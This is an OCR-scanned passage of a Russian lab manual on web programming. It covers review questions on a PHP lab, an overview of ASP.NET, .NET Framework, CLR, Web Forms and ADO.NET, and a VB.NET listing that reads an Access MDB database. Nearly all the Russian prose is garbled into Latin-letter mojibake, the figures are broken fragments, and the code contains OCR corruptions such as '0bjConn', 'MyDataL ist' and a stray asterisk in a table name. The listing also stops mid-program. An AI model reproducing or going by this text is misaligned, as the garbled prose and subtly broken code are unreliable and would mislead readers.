Taxxe mnpu BO3HUKHOBEHHHM OIIMOKM BBIBOAMUTCS CCBUIKA, IO3BOJSIONIAS BEPHYTHCS K
MPEBIAYIIECH CTPaHUILIE.

@akT ycnemHoro A00aBi€HHs COOOIIEHUS MOATBEPKAAETCS HHPOPMAMOHHBIM
coobrmieHueM, popMupyemMbIM B cTpokax 46-51 — mpu 3TOM BBIBOJMTCS CCHUIKA, TTO3BOJISIOIIAS
MPOJOIIKUTH MPOCMOTP COOOIIEHUN BHIOPAHHOM TEMBI.

2.4. Bonpockl K 3amuTe J1adopaTopHOit paboThI

Urto monumaetcs moa popymom?

[Mosicaute anroput™m GOpMHUPOBaHHS 3HAUCHUS TIepeMeHHol $size.

Kak BbImosHsIeTCS MpOBEpKa BBOJMMON TOJB30BaTeNeM HHpopmannun?

4) IMosicauTe Ha3HaueHue Qaiina addl.php.

5) TMosicHuTe MEXaHU3M U3MEHEHUSI U JOTIOJHEHUS YKe CYIIECTBYIOIIETO Kiiacca.

6) I[epeuncaure 6azoBbie pyHkiu PHP 1 ux cuHTakcuc.

T)IMosicuute cuHTakcu4eckoe nmocrpoenue $this->act.

7) Haznauenue ¢pynkuuu htmlspecialchars().

8) Kakas (hyHKIHS cO31aeT U3 CTPOKH MACCHB MO 33JaHHOMY pasnenutento? [ToscHute
€€ CHUHTaKCHC.

9) Kak BbIMONHSAETCS MpPOBEpKa KOPPEKTHOCTH aAPECOB DJICKTPOHHOW ITOYTHI,
BBOJIMMBIX TIOJTB30BATEIISIMU?

10) Kakue MexaHU3MBbI PEryJsipHBIX BHIPOKCHUN MCIIOIb30BAIUCH B CIICHAPUSIX JaHHOM
naboparopHoii paboThI?

11) Tlepeuncnute OCHOBHBIC JIIEMEHTHI CHUCTEMbI (OPMHUPOBAHUS 3aKa30B Yepes
HNnrepHer.



12) TlosicHUTE OCHOBHBIC ANTOPUTMBI, 3AJI0KEHHBIE B MPOTPAMMY CHUCTEMBI 3aKa30B
yepe3 MHTepHeT.
13) [NosicHuTE aNnropuT™M UACHTU(UKALNU CEPBEPOM KAXKIOTO MOCETHTEIIS.

2. JlabopaTopHas padora «O0padoTKka TaHHBIX HA GopMe»

3.1. Ilens mabopaTopHO# pabOTHI

[TonyunTh OCHOBHBIE HABBIKHM pa0OThl ¢ Oazamu HaHHBIX B cpeae ASP.NET

3a/laHue Ha BBINOJIHEHHE JAOOPaTOPHOU pabOThI

Os3HakoMHThCs ¢ TIporieccoM kommusiiuu B cpene .NET Framework.

O3HakoMuThes ¢ paboToii ¢ 6azamu ganHeIXx ADO.NET.

Pazpaborath U 0TIaANTH CTPAHUIIBI JIJIS1 YTCHUS JaHHBIX U3 ¢aiina MDB.

Co3nmaTh  CepBEpHBIC DJJICMEHTBHl  YIPABJICHHUS W BBIIIOJHUTH  JEMOHCTPAIUIO
JTMHAMUYECKOTO U3MEHEHUS UX CBOWCTB

3.3. OCHOBHBIE TEOPETHUECKUE CBEICHUS

3.3.1. .NET Framework

CnoBa .NET m ASP.NET mpoucxomar ot HasBanus .NET Framework ("oOmas
crpykrypa .NET") — Habop oObekToB M miaHoB (Blueprints), co3maHHbIN KoMIaHHEH
Microsoft mst pazpabotku npunokenuii. ASP.NET pa6oraet 6maromaps .NET Framework.

VY Bcex mnpwioxeHwid, paspaboranHsix B .NET Framework, m B TOM umcie y
npuinoxkennit ASP.NET, ecTtp HekoTopple oOIIHME BO3MOXHOCTH, OOCCIICUMBAIOIINE UM
COBMECTHMOCTb, O€30MMaCHOCTh U CTAOMIIBLHOCTD. Jlajiee pacCMOTPEHBI ATH BO3MOXKHOCTH.

3.3.2. Common Language Runtime

Common Language Runtime (CLR) o3nauaer "cpeaa BBITOJIHEHHs OOIIEro s3bika',
cpena, KOTopas yIpaBiisSeT BBIOJIHCHHEM Koja. J[pyruMu ciioBamMu, B HEW 3aIllyCKaeTcsl W
MTOJIEPYKUBACTCS JIFOOOW HAaITMCAHHBIA BaMH KOJI.

TpamguimoHHO TpU CO3MAHUM TMPUIOKEHUW THIIETCS KOJ Ha OJHOM U3 S3BIKOB
nporpamMmupoBaHus (TakoM, Hampumep, kak Visual Basic), kommumupyere ero B (opmar,
MOHATHBIN JUTsI KOMIIbIOTEpa (B €AWMHUIIBI U HYJIH), & 3aTEM OTIPABIISCTE OTKOMITHIUPOBAHHBIN
Ko7l Ha BbINoaHeHue. OOpaTuTe BHUMaHKE, YTO KOMITBIOTEPHI pa3HbIX TUIIOB (Hanmpumep, PC u
Macintosh) "roBopsiT" Ha pa3HbIX SI3bIKaxX. JTO 3HAYUT, YTO JUIS UCTIOIB30BAHMS TPUIOKCHHS
Ha KOMITBIOTEPE JIPYroro TUIA MPHIOKCHHE HE0OX0IMMO MEPEKOMITMIIMPOBATh Ha SI3BIK 3TOTO
kommbioTepa. Ho Ha .NET Framework neno 00CTOUT HECKOIBKO MO-APYrOMY.

Koneuno, npu ncnone3oBannu .NET Framework u CLR Bce paBHO mpuxoauTcst mucathb
KOJI ¥ 3aHUMAThCs ero KoMruisiiued. OJTHaAKO BMECTO TOTO YTOOBI KOMITMIIMPOBATh €0 B TO,
YTO TIOHMMAeT KOMIIBIOTEP, BBl KOMIMJIMPYETE €ro B KOJ $3bIKa, KOTOPBIH Ha3bIBACTCS
Microsoft Intermediate Language (MS1L) (310 Ha3BaHue 03HAUYaAET "MPOMEKYTOUHBIN S3BIK OT
Microsoft"). Takoi# s3bIK sBIsETCS yAOOHBIM CPEACTBOM MPEACTABIATh BECh HAIMCAHHBIHN
Bamu Koj. Ctpanuubsl ASP.NET Ttakxke komnunupytorcs B kog MSIL. Tlpu komnuisiuu B
ATOT KOJI TIPUJIOKEHUE CO3/IaeT TaK Ha3bIBaeMble MeTananHbie. OHU SBISAIOTCS UH(DOpMaIuei,
KOTOpasi OMUCHIBAET CaMO MPWIIOKeHHE. MeTalaHHbIe pacCKa3bIBAIOT, YTO OHO MOXKET JIeTIaTh,
KOMY MPUHAJJICKUT U TaK Jajee.

Bwmecte ¢ MSIL u MeTagaHHBIMU TOSIBUIICS. HOBBIM KJIACC SI3IKOB MPOTPAaMMHUPOBAHUS:
C#, Cobol, Perl u tax mamee. DTH SI3BIKH IMOXO0KH HA T€, YTO OBUIM JO HUX, HO MX BBIBOJAOM
MOXKET OBITh KoJI, Takol kak MSIL nmu 0ObIYHBIN KOMITUIUPOBAHHBIMH.



3arem, KOTJa HYKHO BBINOJHITH Hporpammy, 3a aeno Oepercs Common Language
Runtime (CLR) u 3aHOBO KOMIWJIMPYET KOJ — Ha 3TOT pa3 Ha POJHOW SI3bIK KOMIIbIOTEPA.
Taxum obpazom ko MSIL mMoxkeT BRIMOTHATHCS Ha KoMIbIOTepe Jroooro tumna. CLR roBoput
Ha S3bIKaX MHOTHX KOMIIBIOTEPOB M JIeJaeT 3a Bac BCIO KOMITWJISIIIMIO Ha 3TH S3BIKH. Tak 4To,
OTKOMITHJIUPOBAB CBOE MPHUJIOKEHUE OIHU Pa3, Bbl MOXKETE MEPeIaBaTh €ro Ha JIFOOOH Ipyrou
kommbeoTep. Ha Pucynoxk 3.1 moka3zaHo oTiauume  MEXAY TPATUIIMOHHBIM IPOIECCOM
KOMIWIALMH U TeM, 4To Beinoaugercsa B .NET Framework..

Komvmnimasaumsa B

MAalIVMHHBEIM KO

Kopg, > MpunoxeHune
a) TpamuuuoHHbIN METOA
Komnunauma Kommusanus B
MSIL c > MAIIMEEENL KO
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0) B cpene .NET Framework
Pucynoxk 1. CpaBHHUTENbHAS CXeMa KOMITHIISIITN

Hcnonw3ys metaganusie, CLR umier, kakum o6pa3oM cieayer 3aimycKkaTh IpUIoKeHHE.
bnarogapst ’ToMy ycTaHOBKa MporpamMM CTaHOBUTCS OY€Hb JIETKOW. /[eno B Tom, 4To mpu
TPaJULIMOHHOM yCTaHOBKE HWH(MOpPMAIMIO O TMPUIIOKEHUH HEOOXOAMMO TIOMENaTh B
CUCTEMHBII PEECTp WM B LIEHTPAJIBHOE XPAHWINLIE JaHHBIX O NpuiokeHuax. K coxanenuto,
CUCTEMHBII peecTp MOXXHO BBIBECTH M3 CTpPOsS JIOOBIM HM3MEHEHUEM B MPHIOKECHUU
(mepemMenieHreM €ro Karajaora, yCTaHOBKOM HOBOrO KOMIIOHEHTa W TakK Jaiee), U Toraa
NPUIIOKEHHE MOXKET U He padoTaTh TakK, Kak MOJoKeHO. biaromaps MeTalaHHBIM CHCTEMHBIN
peecTp CTaHOBUTCS HEHYKHbIM. Bcst HeoOxoanmas nadopmaiust XpaHuTcst BMecTe ¢ (aiimamu
MIPUIJIOKEHUSI, TAK YTO BCE ClIEJaHHbIE M3MEHEHHUS BCTYNAIOT B CUJIy aBTOMaTHYECKU

Kon, xortopsiii paGotaer Bmecte ¢ CLR, Ha3biBaercs ympaBisieMbIM KoaoM. Takoe
Ha3zBaHue oOBscHseTca TeM, uro CLR ynpaBnser BbIoMHEHHMEM 3TOro Kojxa W JaeT
olpezieNieHHble MpenMyIIecTBa (Takue, HapuMep, Kak YIpaBlIEHUE pecypcaMu), U MpU 3TOM
pa3paboOTUMKy HE HYXKHO JeJiaTb PYYHYH HAcCTpoiiky. B cBOw ouepenb, KOJ, KOTOPBIH
BeinonHsgercs BHe CLR, Ha3pIBaeTcs HeynpaBiIsieMbIM.

Kpome Toro, CLR  moxer BbIMONHATE 00paOOTKy OIMMOOK, TOANEPKUBATH
0e30MacHOCTh, TMOAICPKUBATH COTIACOBAHHOCTh Bepcuil (VErsioning) u pasBepThIBaHHE
MPUIOKEHHUM, a TaK)KE€ MHTErpalyio ¢ pa3Iu4yHbIMU MIaTpopMaMu. A 3TO O3HAYaeT, YyTo IS
Harncanus npuioxkennid .NET (u B Tom umcne npunoxenuit ASP.NET) moxxHO BBIOpaTh
000 A3BIK MPOTPAMMUPOBAHMUS.

3.3.3. Kiaccer .NET Framework

NET Framework Bcernma nepxut npu cebe mianbl (Blueprints), To ects omnwucanus
00bekTOB. B cBOIO Oouepenb, 00beKTaMH cuuTaeTcs Bce, 4to Haxoautcs B .NET Framework:
ctpanuiiel ASP.NET, okHa cooOmienuii u Tak gainee. Takue oOBEKThI pa3MelIaloTCs BHYTPU
JIOTHYECKUX TPYII, KOTOPhIC HA3bIBAIOTCSA MpPOCTpaHCTBaMM MMeH (hamespace). Hampumep,
BCE€ OOBEKTHI, OTHOCAIIMECS K 0a3aM JaHHBIX, MOXKHO PacCIOJIOKUTh B MPOCTPAHCTBE MMEH
System.Data (‘Cuctema./lannbie’), a Bce 00bektel XML — B System.Xml (‘Cucrema. XML’)



u Tak jganee. Takoe oObeOUHEHHUE B TPYIIBI OYEHb MOJE3HO MPHU CO3JAaHUU OUOIUOTEK
00bekTOB. [IpocTpancTBa MMeH UCTIONB3YyIOTCA MpH co3aannu npuioxernii ASP.NET.

Kaxxnoe npoctpanctBo umeH u3 ctpykTypbl .NET — 3To, B CyIIHOCTH, KOJUIEKIIUS
cxeM. ASP.NET mnocransiercs BMecTe ¢ COOCTBEHHBIMU CXE€MaMH, HO MHOTJa 3TOro Habopa
ObiBaeT HemocTaTouHo. [loaToMy, 4YTOOBI CO37MaBaTh JOMOJIHUTEIBHBIE THUIIBI OOBEKTOB,
npuxogutcs obpamarbes u3 ASP.NET x apyrum nHaGopam. I[lomyuuts moctynm K STHM
JIOTIONIHUTENFHBIM O0BEKTaM M METOJaM MOKHO C TOMOIIBI0 KJII04YeBoro cioBa Import
(ummopT):

<%@ Import Namespace="System.Drawing" %>

DTa CTpoKa 3ajaeT MMIIOPT BCEX KJIACCOB W3 MpocTpaHcTBa uMmen System.Drawing
(o3nagaer "Cucrema.Yeprex"), Hanpumep, font (mpudt) wim image (u3obpaxenue). Tenepb
MIPY CO3JIaHUU CBOMX 0OBEKTOB MOYKHO MCIOJIB30BATh 3TH CXEMBI.

3.3.4. Web-dopmsr

®opmer Web odens noxoxwu Ha Tpamuimonuabie Gopmbel HTML. Pasanma mexny HuMA
B TOM, YTO TIEPBBIE — 3TO CEPBEPHOE CPEACTBO, YTO O3HAYAET BO3MOXKHOCTH CO3IaHHS
MOJIb30BATENLCKUX IJIEMEHTOB Ha cepBepe. B 3ToM ciyuyae cepBep MOTHOCTHIO OCBEIOMIIEH O
TOM, KakK BBIIJISIAUT WHTEpdeiic, Kakue (QYHKIIMH OH BBIMIOJIHAET, KaKUE JaHHBIE CIEIyeT
OXKU/ATh U T.II.

Ha cepBepe co3matoTcsi 0ObEKThI, Ha3bIBAEMBIE CEPBEPHBIMH HIIEMEHTAMH YTIPABJICHUS,
KOTOpBIE MPEICTaBIsAIOT co00i yacTu mHTepdeiica monp3oBaTenda. B oTiaudne ot 31eMEeHTOB
¢dopmbl HTML, 3T 00BEKTHI MOJIHOCTHIO KOHTPOJIMPYEMBI - OHU UMEIOT CBOMCTBA, COOBITUS U
METOJIbI, KOTOPHIMH MOKHO MaHUMYJIHPOBaTh. Kak TOMBKO KIMEHT 3ampalivBaeT CTPAHHMILY,
ASP.NET mnpeob6pa3oBbiBaeT 3TH cpeacTBa ympasieHus B HTML, koTopslii coBepieHHO
TOYHO oToOpakaercs B Opaysepe (Pucynok 3.2). Hcmonb3ys Web-dbopmsl, cepBep 3HaeT o
BHEIIHEM BUC U QYHKIUAX KXKIOH KOHKPETHOU (HOPMBI

I[lepenaua »JIeMEHTOBR B

CEPBEP KIAUEHT

Opayzep B Bune HTML-

A 4

Co3paHune anemeHToB

NOZ1b30BATE/NbCKOIO 3anonHeHue d)OprI

<
<

uutTendeiica [lepenava IOaHHEIX OOpPaTHO

Pucynok 2

[TocpencTBoM KIMEHTCKOTO clieHapusi, aBTomaTuuecku renepupyemoro ASP.NET, stu
AJIEMEHTHI YNpaBIEHUS MPEAYNPEKIAIOT CepBep BCAKHUM pa3, Korja 4Tro-1u00 MpPOUCXOJUT,
HampuMep, HaKaTHe Ha KHONKY. KnueHTckuii crieHapuii oTcbuiaeT nH(OpMaIuio Ha cepBep B
MOMEHT BO3HHUKHOBEHHUSI COOBITHSA, 4acTO He coo0mas 00 3TOM moJyib30BaTeNo. Takum
o0pa3oMm, cepBep HEMPEPHIBHO YBEAOMIISIETCS O KIMEHTCKUX Mpoleccax, 4To OO0beAUHIET UX
APYT € APYTOM B OJHO LIENIOE.

Ha npakTuke 3TO BBIMIAIUT, KaK yIpaBigieMasi COOBITUAMH MOJEIIb.

[TockonbKy cepBep caM CO3JIaeT 3JIEMEHTHI YIIPaBJICHUSI, OH TaKKe MOXET 3alIOMHUTbD,
YTO BBOJWJIOCH B KK/l 3JIEMEHT.

3.3.5. CepBepHbIE 3JIEMEHTHI YIIPABICHUS



CepBepHbIE 3JIEMEHTHl YIPABICHUS SBJISIIOTCS COCTABISIOIIMME TOJb30BATEIHCKOTO
unrepdeiica Web-popmer. B ASP.NET BbiensieTcst 4eThlpe THIIA CEPBEPHBIX 3JIEMEHTOB
yIpaBIEHUS:

cepBepHBIe d7eMeHTHI ynpasieHuss HTML,

sneMmenTsl Web,

Cpe/CcTBa MOATBEPKICHUS,

M0JIb30BATEIBCKUE AIIEMEHTHI.

Onementsl ynpaienuss HTML mnpeactaBisitoTr coOoii OOBIUHBIE 31EMEHTHI (POPMBI
HTML, Takue kak TEKCTOBBIE MOJSI BBOJA U KHOIIKH, HO CO3/IAI0TCS OHHM Ha CEpBEpE, I/Ie UMU
MO>KHO YTIPaBJISTh.

Ananornudel UM 3neMeHThl Web, HO oHu Oojee (QYHKIMOHAIBHBI W MOTYT
(opMHpPOBATh CIIOKHBIN MOJIb30BATEIBCKUIA HHTEPQEIC.

CpenctBa  TOATBEPKIECHUSI  UCIOJB3YIOTCS  JUJII  MPOBEPKH  MPABUIBHOCTHU
MOJIb30BATENLCKOTO BBOJIA JJAHHBIX.

[lonb30BaTenbCKUE  3JIEMEHTHl  CHELMANBHO NpPEIHA3HAYEHBl JJIs  pealln3aliu
HEKOTOPOM 0c000¥ PyHKIIMOHATEHOCTH.

Bce anemenThl yripaBieHHs, pa3MeIlleHHbIE Ha CepBepe, UMEIOT CBOMCTBA, METOMABI U
coObITrsi. OHM HAMHOTO (PYHKIIMOHAJIbHEE, YeM TPAJUIIMOHHBIE dyeMeHThl ¢hopmbl HTML, u
CYLIECTBEHHO YIPOIIAIOT Mpouecc (OpMHUPOBAHUS MOJIb30BATENBCKOTO HHTEpdelica.

[Ipu co3manuu cepBepHOro 3JEMEHTa He HYKHO 3a00TUThCS O Hanrcanuu koga HTML.
[Ipu mocTymiaeHuu 3ampoca Ha CTPAHUILYy AJIEMEHT YIpPaBIIEHUsS aBTOMATHYECKH T€HEPHUPYET
HTML, koppektHo oToOpakaemblii B Opaysepe. Hampumep, ciemayromasi CTpoka CO3/1aeT
cepBepe dJIEeMEHT yrpaBieHus Button:

<asp:Button text="Submit" runat="server"/>

B MoMeHT oTBeTa Ha 3ampoc KIMEHTY BbIaeTcs Takol kog HTML:

<input type="Submit" name="ctrll" value="Submit">

OTU JBE CTPOKU JIMIIb TOXOXH JpYyr Ha Apyra. I[lepBas BBITOJHSETCS TOJIBKO Ha
cepBepe — KJIMEHT HUKOI/Ia He TonyduT ee. (Jlaxke ecnu Obl U MOTY4YWII, TO HE 3HAJ ObI, YTO
Hell nenmatb — Opay3ep moHuMaer Tonbko kon HTML.) Bropas ctpoka — 3T0 TO, 4TO
MPUHUMAET KJIUCHT.

Taxke ASP.NET 3Haer 0 BO3MOXKHOCTSX KaXaoro Opay3epa |, CIEJOBATEIBHO,
OTCBUIA€T COOTBETCTBYIOIIMM KOJ KaXIoMy #3 Hux. Hampumep, ecnu Opaysep
nojyepxkuBaer auHamuuecknii HTML (DHTML), to ASP.NET He Oyaer oTmpaBisTe emy
TaKOM KOJ. DTOT MOJXOJ HA3bIBAETCS HU3KOYPOBHEBOM MOJJCPKKOM CBSI3M C TEM, YTO
ASP.NET w™oxer crmaxmBaTh BbIBOJ koma HTML jams  OpaysepoB, KOTOpble HE
MO/IEPKUBAIOT COBPEMEHHBIN YPOBEHB () YHKIITMOHAIHHOCTH.

B uneane, HU3KOypOBHEBas MOAJEP)KKA JTOJDKHA OTOOpakaTh KOPPEKTHO -l deMeHT
ynpasiienus. OTHaAKO HEKOTOPBIE 3JIEMEHTHI OYAYT 0TOOpaKAThCS HEOJAMHAKOBO B PA3ITUYHBIX
Opay3epax, 4To CBSI3aHO C HEHJICHTUYHOU TpakToBKOW mmu kojga HTML. Tem He menee, mpu
pa3paboTke oA HauOosiee MOMYJSpHbIE BEPCUU Opay3epoB HU3KOYpPOBHEBAas MOAJEPIKKA
Oyner paboTaTh BEpHO.

3.3.6. Pabora ¢ 6azamu manaeix. ADO.NET

ADO.NET — wnoBsiit otanm B Texnomoruu ActiveX Data Objects (ADO), sto mozaens
JOCTyIa K JaHHBIM, CO3JIaHHas CrenuaibHo i ucnoin3oBanus B Web. ADO.NET cosznaer
untepgeiic ko Bcem coBMecTHMbIM ¢ OLEDB wncrounmkam naHHBIX H oOecriednBaeT
COeIMHEHUE, U3BJICUeHUE, yrpaBieHue u ooHopinenne gaHHbIX. ADO.NET MoxHO mpuUMEHSTh
Ha yJaJIeHHOM KOMIIbIOTEPE, B pacHpe/ieIeHHOM MPUJIOKEHUU M B CiIydae paclpeleeHHbIX
JTaHHBIX.

ADO.NET co3pgaeTr cTpykTypy AJig IOCTyna K JIOOBIM THIaM JaHHBIX B CTpaHUIIAX,
Omarojapsi 4emy IIOJIb30BaTeId MOTYT BHJIETh WM HW3MEHATH HWHOOPMALMIO, KOTOpas



COJIEPIKUTCS B JIFOOOM THUIIE JAaHHBIX, BKItoUasi 0a3bl, TEKCTOBBIC (Dailyibl U HAOOPHI JAHHBIX
XML.

ADO.NET — »t0 Bepcust mporpammuoro uHTepdeiica ADO, mpucnocobneHHas s
Oonee »>(¢¢dexTuBHOrO TpeAcTaBieHUs AaHHbIX Ha ASP-ctpanumax. Hanpumep, onHa
MOJIHOCTBhIO BocmpuHumaeT s3biIk XML u mnpucnocobnena st obmenus ¢ XML-
npwioxkeHusiMu. ADO.NET mnpeanaraeT MHOTO BO3MOXHOCTEW, KOTOpbIE 3HAUYMTEIBHO
obmerdaroT paboTy pa3paboTymnka.

Crpanunst ASP.NET ucnone3yror ADO.NET mist cBs3u ¢ JIOOBIM THUTIOM JTaHHBIX.
Mopnens noctymna k nanabiM B ADO.NET u ASP.NETnpencrasiena Ha pucyHke 3.3.

HNurepdeiic  ADO.NET  momHOCTBIO COBMECTHM C  HCTOYHHMKAMH  JaHHBIX,
MOAJICPXKUBAIOIITUMU 00BbeKkTHBIE TexHosorun OLE mis 6a3 maHHbIX, Kak s3plk SQL wmwm
MeXxaHn3M 0a3 JaHHbBIX Jet.

3.3.7. O0nexkt DataSet
B unenrpe wunrepdeiica ADO.NET HnHaxomurcs o0bexT DataSet. Drtor o00BexT-
KOHIICTITYaJIbHO HOBAs MJIesA, KOTOpas 3aMEHACT TpaaullMoHHbIH 00bekT RecordSet 8 ADO.

CrpaHunua ASP.NET

: :

ADO.NET

] |
OLE DB

S S S

ODBC sQL Jet Apyrve

Pucynoxk 3. Monenb noctyna k ganasiM B ADO.NET u ASP.NET

DataSet — 5T0 TpOCTOM, MOCTOSIHHO HAXONSIIUNCS B OMEPATUBHON MaMSTH CIIOCOO
XpaHEHUs JAHHBIX, KOTOPBIA 00ECIIEYUBACT MOCIEAOBATEIBHYIO MPOTPAMMHYI0 MOJEHIb IS
JOCTyIa K JaHHBIM, HE3aBHCHMO OT uX Tumna. B ortnmuue ot RecordSet, DataSet cogepxur
WHbIC HAOOpHl JAHHBIX, BKJIIOYAas OTPAHMYCHHS, CBS3M W JIAXKE HECKOJBKO TaOJIHII
OJHOMMEHHO.

JlaHHBIA OOBEKT COJECPKHT MHOXECTBO CTPYKTYp. B KaXIyr0 CTPYKTYpy MOXKHO
MMOMECTHTh HECKOJILKO 31eMEHTOB. C KaXKJIbIM DJICMEHTOM B CTPYKTYPE MOYKHO MPOU3BOIUTH
pa3MyHbIC ONepanuu — J00aBJIsATh, U3MEHATh, IPOCMATPUBATh U T.J. B 3TOM 3aKiIrodaroTCs
OCHOBHbIE MpUHIUIBEI paboThl ¢ DataSet.

DataTable — 00bekT, KOTOpBIN MpEACTABASACT OTACIAbHYIO TaOJHIly Oa3bl JaHHBIX.
(DataSet conmepxxut kosekiuio tabmui; B oowekte TablesCollection). Oowext DataTable
MOJIHOCTHIO OTOOpaXaeT COOTBETCTBYIOIIYIO TAONUIly, BKIIOYAs CBS3U MEXKIY TaHHBIMH U
KJIr04YeBbie orpannycHus. OH COMEPKUT ABE apyrue koureknuu, Rows u Columns, kotopkie
O0TOOpaXKaroT JaHHBIC U JIOTHUECKYIO CTPYKTYPY TAOJIHMII.

Oowext RelationsCollection mno3Bosiser aBUraThCsl MEXAY TaOJUIIAMH COTJIACHO
OINpE/ICNICHHBIM JUIS HHUX CBSA3SIM. boJibllle HE HYXHO HCIOJIb30BaTh CIIOXKHBIC CBSI3U H
oObenuHeHMss. DaKkTHYECKHWE CBSA3M MEXKIY TaOJNUIaMU TPEJCTaBICHBI  00BEKTaMHU



DataRelation, coxepxamumu HWHGOPMALMIO O JBYX COCIUHCHHBIX TaOJMIAX, CBS3U
MIEPBUYHOTO Y BHEITHETO KJII0Ya ¥ Ha3BAHUS CBS3EH.

Ces3u MOXHO Takxke no0aButh ¢ noMmolbio o0bekta DataRelation. ADO.NET
ABTOMATHUYECKH BBOJHUT KIIOUEBBIC OTPAHMUYCHHS: HE pa3pemacTcs H3MEHEHUE OJIHOU
Ta0JINLIBI, KOTOPOE MOXKET MMOBPEAUTD €€ CBA3b C IPYroil TaOIuIIeH.

Oo0mwext ExtendedProperties comepxuT IOMONHHUTENbHYIO HH()OPMAIHIO, HAIpUMED,
UM TI0JTH30BATENS M MTapOJIh.

3.3.8. Mognens o0bexta ADO.NET

ADO.NET cocrout u3 AByX KIIOYEBHIX YacTei: Habopa manHbix DataSet m cpencts
ynpasinenus Managed Providers. B HaGope mpencraBieHbl JaHHbBIC, MepeaaBacMbie MEXKIY
kommoHeHTamu ADO.NET, a umenno w3 mamsitm B crpanuiel ASP.NET. Dto mexanusm
00pabOTKN JaHHBIX BHE UX XPaHUJIHUILA.

Managed Providers ciyxaT B KadecTBE MPOMEXKYTOYHOIO 3BCHA MEXIAy HAOOpOM
DataSet u mamsaTpio U 00eCIIEUMBAIOT MEXAHU3M JUIsI COSAUHEHUS, JOCTYIA, YIPaBICHUS U
u3BIeUYeHUsT MHpopMmarmu u3 odoi coBmectumorr ¢ OLE DB 6a3el maHHBIX, Hampumep
Microsoft Access.

Microsoft mocraBnser nBa Tuma Managed Providers B xommiekte ADO.NET: SQL u
OLE DB. IlepBblii HCIonb3yeTcss UCKIIOUHATEIBHO IS B3auMmojerictBus ¢ Microsoft SQL
Server u obecrieunBaeT Bce METOIbI KOMMYyHUKanmuu Mexay SQL-cepBepom m Habopowm
naHHbIX. Bropoit, OLE DB, cnyXuT cBA3YIOIIMM 3BEHOM MEKIy HAOOPOM M COBMECTHMBIM C
OLE DB ucToYHMKOM JaHHBIX.

Jns coenuuenuss ¢ SQL-cepsepom onmnommenHbiii Managed Provider mpumenser
MPOTOKOJ, HasbiBacMbIi tabular data stream (TaGiwuHBIA MOTOK MaHHBIX). JTO HamboJee
s dexrunbIii u He 3apucsmi or OLE DB, ADO niun ODBC meton mis coenuaeHus ¢ SQL-
cepBepoM. JlanHbrit mpoTokon ynpasisercs CLR.

OLE DB-mpogaiinep obecnieunBaet 3QpHeKTUBHOE B3aMMOJICUCTBUE CO BCEMH IPYTUMU
TUTIAMU JTaHHBIX U, €CIU €CTh HEeO0OXOIUMOCTh, IPUMEHsIETCS JUIsl JocTyna K cepBepy SQL.
Kaxxnplii mpoBaiiiep UMEET TpU KOMIIOHEHTA!

- wuHTepdec UIT COCNWHEHWS W YOpaBJICHUS 0a30d JaHHBIX, a TaKkKe A
B3auMo/ieiicTBus ¢ Habopom DataSet;

- TIOTOK JAaHHBIX IS ObICTporo M 3((eKTUBHOTO MocTyma (IMOX0X Ha HAOOp MaHHBIX
DataSet, Ho 6bicTpee U ¢ MEHbIIMM HA00POM (PyHKLIU);

- 0OBEKTHI JUIsl COCTMHEHUsS C 0a30¢ JaHHBIX U JUISI UCTIOJHEHUS €€ CHCIU(PUICCKUX
KOMaH]] Ha HI)KHEM ypOBHE.

3.3.9. Hoctyn k ganasiM B cpeae ASP.NET

MO’KHO BBIJENUTH MSATh OCHOBHBIX 3TAllOB MOJIyY€HUs AaHHBIX, ucnonb3ys ASP.NET
Web-ctpanuiibr:

VcTaHOBUTE cOeqUHEHNE ¢ 0a301 JaHHBIX.

OTKpBITh CO3JTAaHHOE COEAMHEHHUE.

3anoaHuTh KoMnoHeHTy DataSet TpeOyemMbIMH TaHHBIMH.

YcranoButh kKoMnoneHty DataView st oroOpaxxeHus TaHHBIX.

CBs13aTh CEpBEPHBIN DJIEMEHT yIpaBiieHus ¢ kommoHeHToi DataView, wucnomb3ys
MIPUBSA3KY JTAHHBIX.

[lepen TemM Kak TOMYyYUTh JOCTYN K JaHHBIM HEOOXOJIMMO HMIIOPTHPOBATH JIBA
MPOCTPAHCTBA UMEH, COACPKAIINE KOMIIOHEHTHI pa0OThI ¢ JTAaHHBIMHE (€CJTH HCTIONbh3yeMas 6a3za
naHHBIX paboraer moj ympasieHuem CYBJI Microsoft SQL Server, to wucnonb3yercs
npoctpancTBo umeH System.Data.SQLClient.)

3areM HEOOXOUMO OPTaHU30BaTh COCTUHEHUE ¢ 0a30i JaHHBIX. VICTOUHUKOM JaHHBIX
Data Source sBisieTcst co3nanHbli panee daitn ACCess.



Jlajiee TPOMCXOIUT OTKPHITUE COSAUMHEHHS ¢ 0a30il JaHHBIX W ucnoiHsercs SQL
KOMaH/ia, KOTOpasi BO3BpallaeT HEOOXOAMMBbIE JaHHbIE M3 TaOJHIBL. DTO COOTBETCTBYET
MIEPBOMY U BTOPOMY IIIaram B MPOIIECCE JOCTYIA K JaHHBIM.

3ateM co3/aeTcs M 3alOJIHSAETCS BO3BPAIAEMBIMH 3allpOCOM JaHHBIMU OOBEKT THUIA
DataSet. 310 cOOTBETCTBYET TPEThEMY IIAry TPOIIECCa.

[ToroM maHHBIE TPUBS3BIBAIOTCA K DIIEMEHTY yrparieHus tuna Datalist, koTopsbrit
aBTOMAaTHUYECKH O0TOOpakaeT JaHHBIE.

Jlamee ocTaeTcss MPOCTO C€O37aTh dJIEMEHT ympasicHus tuna Datalist. Dmement
yrnpasineHuss tuna Datalist wcmomsdyer maOmoHsl s GopMaTHpOBaHUS JIaHHBIX |
aBTOMaTHYecKu oOpabarbiBaeT MonydeHHble 3amucu. OH Takke MoJydaeT pa3Mep OKHa
Opay3epa U IOJICTpanBaeT MIMPUHY KOJIOHOK TaK, 4TOOBI BCe KOJIOHKH OTOOPaXKaliCh B OJHOM
OKHE.

Huxe npuBeieH TUCTUHT IPOrpaMMBbI 171l YTEHMSI TaHHBIX U3 (aitna MDB.

<% @ Import Namespace="System.Data " %>
<%@Import Namespace="System.Data.OleDb" %>
<script language="VB" runat="server">
sub Page_Load(obj as Object, e as EventArgs)
dim objConn as new OleDbConnection("Provider=Microsoft.Jet. OLEDB.4.0;Data
Source=D:\inetpub\wwwroot\Mstuca\Web_Base.mdb")
dim objCmd as new OleDbDataAdapter("SELECT * FROM (Humans INNER JOIN
Posit ON [Humans].[Posit]=[Posit].[Posit_ID]) INNER JOIN Dep ON
[Humans].[Dep]=[Dep].[Dep_Id] ORDER BY Last_Name, First_Name,
Middle_Name;",0bjConn)
dim ds as DataSet = new Dataset()
objCmd.Fill(ds,"Humans")
MyDataL ist.DataSource=ds.Tables("*Humans").DefaultView
